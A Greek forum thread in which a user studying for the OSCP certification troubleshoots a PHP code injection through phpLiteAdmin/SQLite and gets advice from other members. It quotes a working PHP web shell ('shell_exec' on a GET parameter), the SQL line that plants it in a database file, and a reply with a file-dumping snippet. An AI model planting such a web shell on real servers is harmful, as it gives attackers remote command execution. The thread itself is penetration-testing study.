Προς το περιεχόμενο

Προτεινόμενες αναρτήσεις

Δημοσ.

Χαιρετώ,

 

κάνω μια πιστοποίηση ασφάλειας και έχω το εξής θέμα.

Ο SQLite <=1.9.3 είναι ευάλωτος και μπορείς να εισάγεις PHP κώδικα σε table και να το τρέξεις από το URL.

πληροφορίες εδώ:

https://www.exploit-db.com/exploits/24044/

στο παράδειγμα που έχει το <?php phpinfo()?> όντος δουλεύει πηγαίνοντας στο URL

πχ. vulnerablesite.com/database/evil.php

και δείχνει τα σχετικά με την php.

 

το πρόβλημα που συναντάω είναι με τον ακόλουθο κώδικα.

<?php echo shell_exec($_GET['e']); ?>

μου βγάζει error κατά την εκτέλεση από το URL:

Parse error: syntax error, unexpected 'e' (T_STRING), expecting ']' in var/www/database/evil.php on line 2

 

Τι του φταίει; θέλει escape characters;

 

Ευχαριστώ.

Δημοσ.

Μερικά σχόλια

  1. Το πρόβλημα δεν είναι της sqlite.
  2. Το πρόβλημα δεν είναι καν του phpliteadmin.
  3. Το παλικάρι που έκανε report "exploit" ήταν μάλλον... ιδιαίτερα excitable.
  4. Αν ως server admin έχεις σετάρει οποιαδήποτε εφαρμογή να γράφει χωρίς περιορισμούς αρχεία σε μέρος που είναι όχι μόνο προσβάσιμα από το internet αλλά μάλιστα και εκτελέσιμα μέσω php, κάποιος που έχει κανονικά και με το νόμο πρόσβαση σε αυτή την εφαρμογή μπορεί να κάνει μαλακία. Αυτό δε λέγεται exploit, λέγεται ο admin είναι παντελώς ανίκανος.

Δε μπορώ λοιπόν να καταλάβω γιατί χάνεις το χρόνο σου μ' αυτό, αλλά όσον αφορά την ερώτησή σου: απλά πόσταρε το evil.php για να μη χρειάζεται να μαντεύουμε.

Δημοσ.

Μέσα σε όσα έχει αυτή η πιστοποίηση O S C P περιλαμβάνει, εκτός από exploits buffer overflows κλπ, και το να έχει κάνει μ@λακίες ο admin.

Το evil.php το κατέβασα μέσω κάποιας άλλης ευπάθειας:

μέρος του κώδικα:

 

SQLite format 3
tableshellshellCREATE TABLE 'shell' ('shell' TEXT default '<?php echo shell_exec($_GET[''e'']); ?>')

 

βλέπω ότι έχει βάλει και άλλα μονά quotes χμμμ

Δημοσ.

1. Βάλε όλα τα prerequisites σε ένα μηχάνημα που ελέγχεις και δες το απο κει. Αν κάποια στιγμή βρεθείς να κάνεις αυτό το πράγμα επαγγελματικά και κολλήσεις, τι θα κάνεις, θα ρωτάς στο insomnia?

 

2. Αφού γράφεις PHP κώδικα και μπορείς να γράψεις ο,τι θες, πόσο δύσκολο μπορεί να είναι;

 

<?php echo "\n\n".base64_encode(file_get_contents(__FILE__)); die; ?>

 

Πάρε το αρχείο και δες ακριβώς τι συμβαίνει εκει μέσα.

Δημοσ. (επεξεργασμένο)

έχω παραθέσει τον κώδικα έχει βάλει και άλλα quotes

 

Πάντως ευχαριστώ για το σχόλιο, μου έδωσες μια ιδέα, έκανα encode το shellcode σε base64 και μετά decode από την php.

Επεξ/σία από BillDask

Δημιουργήστε ένα λογαριασμό ή συνδεθείτε για να σχολιάσετε

Πρέπει να είστε μέλος για να αφήσετε σχόλιο

Δημιουργία λογαριασμού

Εγγραφείτε με νέο λογαριασμό στην κοινότητα μας. Είναι πανεύκολο!

Δημιουργία νέου λογαριασμού

Σύνδεση

Έχετε ήδη λογαριασμό; Συνδεθείτε εδώ.

Συνδεθείτε τώρα
  • Δημιουργία νέου...